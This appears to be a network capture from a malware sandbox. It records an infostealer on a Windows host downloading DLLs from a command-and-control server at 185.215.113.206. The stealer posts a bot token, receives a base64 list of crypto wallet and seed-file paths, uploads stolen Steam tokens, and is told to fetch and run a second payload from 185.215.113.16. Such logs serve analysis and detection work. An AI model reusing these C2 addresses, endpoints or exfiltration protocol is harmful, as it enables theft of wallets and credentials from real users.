Nov 25, 2024 14:14:41.846554041 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 25, 2024 14:14:45.120554924 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 14:14:45.568886042 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 25, 2024 14:14:46.234049082 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 14:14:46.683502913 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 25, 2024 14:14:47.507396936 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 14:14:48.617505074 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 14:14:48.682522058 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="message"wallets------HCAEHDHDAKJEBGCBKKJE--
Nov 25, 2024 14:14:49.133143902 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 25, 2024 14:14:49.136194944 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="message"files------HCFCAAEBGCAKKFIDBKJJ--
Nov 25, 2024 14:14:49.585304976 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 14:14:49.604085922 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file"------EHJKJDGCGDAKFHIDBGCB--
Nov 25, 2024 14:14:50.549798012 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 14:14:50.601675034 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="message"ybncbhylepme------EHJDGHJDBFIJKECAECAF--
Nov 25, 2024 14:14:51.086009026 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49885	185.215.113.16	80	1436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:14:51.215359926 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 25, 2024 14:14:52.612126112 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 13:14:52 GMT Content-Type: application/octet-stream Content-Length: 1845248 Last-Modified: Mon, 25 Nov 2024 12:50:59 GMT Connection: keep-alive ETag: "674472b3-1c2800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@IS'@WkDiI8iI @.rsrcD@.idata @ )@ekxusscj`0@vsobhekdpI@.taggant0I"@
Nov 25, 2024 14:14:52.612152100 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 14:14:52.612163067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 14:14:52.612284899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 14:14:52.612297058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 14:14:52.612308979 CET	1236	IN	Data Raw: 54 5e dc ef 0d 90 41 b7 85 d5 fd 23 31 e1 ea 20 55 96 ce b2 9b dd fd 6f 16 99 ed 20 14 cd 6b 88 98 17 40 40 7d df af 87 25 ac 84 88 15 97 50 73 45 6f 44 10 b1 eb 44 cf 47 dd 2b 11 58 cc dc 8f 0d 19 e6 8f b4 45 8c 44 38 f9 53 84 27 39 f0 41 94 ce Data Ascii: T^A#1 Uo k@@}%PsEoDDG+XED8S'9A.w3,@ OQTEE-mq@".!!imAg4#r'o&"gCAY'2\@%1A/?h4M+L]6TAx]g4OIo}
Nov 25, 2024 14:14:52.612320900 CET	1236	IN	Data Raw: ed 29 b8 03 a9 77 88 78 64 00 24 a1 1d 27 7f 10 31 93 da d7 5f 32 d5 f7 d5 14 0f 4d 27 e6 11 5f 53 ff 01 13 7b ac cd 35 26 de dd 0f 0d 9b 9f 21 a5 06 43 9f 11 97 6d 58 bd ed 10 86 d0 b7 70 c0 1e 40 a0 f8 d5 cd 6e ee 0f c5 6a 9c fd 97 b7 9e 07 48 Data Ascii: )wxd$'1_2M'_S{5&!CmXp@njHzu>SjG5EJGHPP"RR&QtJ.^Z89Ok\|{3o!O;X'wE\6(cIFK>F
Nov 25, 2024 14:14:52.612551928 CET	1236	IN	Data Raw: 0f 32 be 5c c8 ab c5 47 9c 24 6c 6b 9b 8d 90 f3 f6 d2 af 90 ea 1a 8a d2 5c f2 33 d1 4c 00 c9 83 f5 d4 e3 72 48 61 60 98 95 75 49 15 0d 2b 92 12 12 fa 4e 45 46 c6 fa eb bd 2a bb 76 4e cd 47 76 37 8d 12 21 06 de a3 20 91 61 ca ec 47 3d 66 11 15 f3 Data Ascii: 2\G$lk\3LrHa`uI+NEF*vNGv7! aG=fM`U?PQu"M3N~4GFsf,QVm1m+~,`RNM3Z9[23S[GO%D2NWDBhVzk
Nov 25, 2024 14:14:52.612565041 CET	1236	IN	Data Raw: bb 1e 0c ff 57 cd 4b da 29 46 26 22 b6 c0 5c 6c ab 50 90 e0 ed c1 47 01 a1 ed 2c 31 29 2c e3 ae 50 7f 74 a0 1f c7 7e 10 a8 e9 2e 4f 47 f7 bb 3a 9c 07 e7 9f d2 97 74 84 dd a5 88 9d d9 6c 69 5f 51 d0 e6 e3 fa 6f d0 eb 67 29 e5 5f 57 81 48 80 88 94 Data Ascii: WK)F&"\lPG,1),Pt~.OG:tli_Qog)_WHW5\|2XXTu1 p\CnXGW&-IC \%\|5E$G?xu&5r&5 +}k^2T1 N/kJ%bp3Khk{?\k
Nov 25, 2024 14:14:52.612576962 CET	1236	IN	Data Raw: 11 bc 51 ec 1a bd 58 df 1b e7 0e 01 8e af 35 a5 ae da 47 47 63 20 45 b0 09 de 11 68 55 ef ad 93 26 d5 dc 27 77 ff e7 6f c4 a4 f8 a4 94 3e 0c 42 28 9d 74 34 44 6f e5 83 0b 3e 4c e8 66 00 c9 d1 3b ce db e3 79 17 43 9f 08 93 d7 b0 63 ce d3 f8 7a f5 Data Ascii: QX5GGc EhU&'wo>B(t4Do>Lf;yCcz=P[p[D4V\*ZEA@ImpLVRsQo;&UF;VWmL05mDuc{9FHeg!nB@(Sw91
Nov 25, 2024 14:14:52.736552954 CET	1236	IN	Data Raw: 93 af 43 a5 a5 55 73 14 8f ce c4 2a 03 c2 f9 db 88 26 fc 73 39 18 40 36 cd 11 42 90 2e 5e 80 bd 97 87 9d ee 35 de 3f 9c 25 41 46 04 3c 4e 00 32 0b e3 db 4f 42 0d 4f 3e cf ed 1d fe 3c d6 bd 0e 29 08 ef 49 33 06 be 04 30 7e 8c cc af eb 60 2c 38 6e Data Ascii: CUs&s9@6B.^5?%AF<N2OBO><)I30~`,8n8q<GQ"S@DK3<Y`.'{NF/&TwAHJwP/N6a8'I"J~R"F\ )%;^P}!T:yvEoHfY61@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49904	185.215.113.206	80	1436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:14:56.487621069 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 2d 2d 0d 0a Data Ascii: ------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; 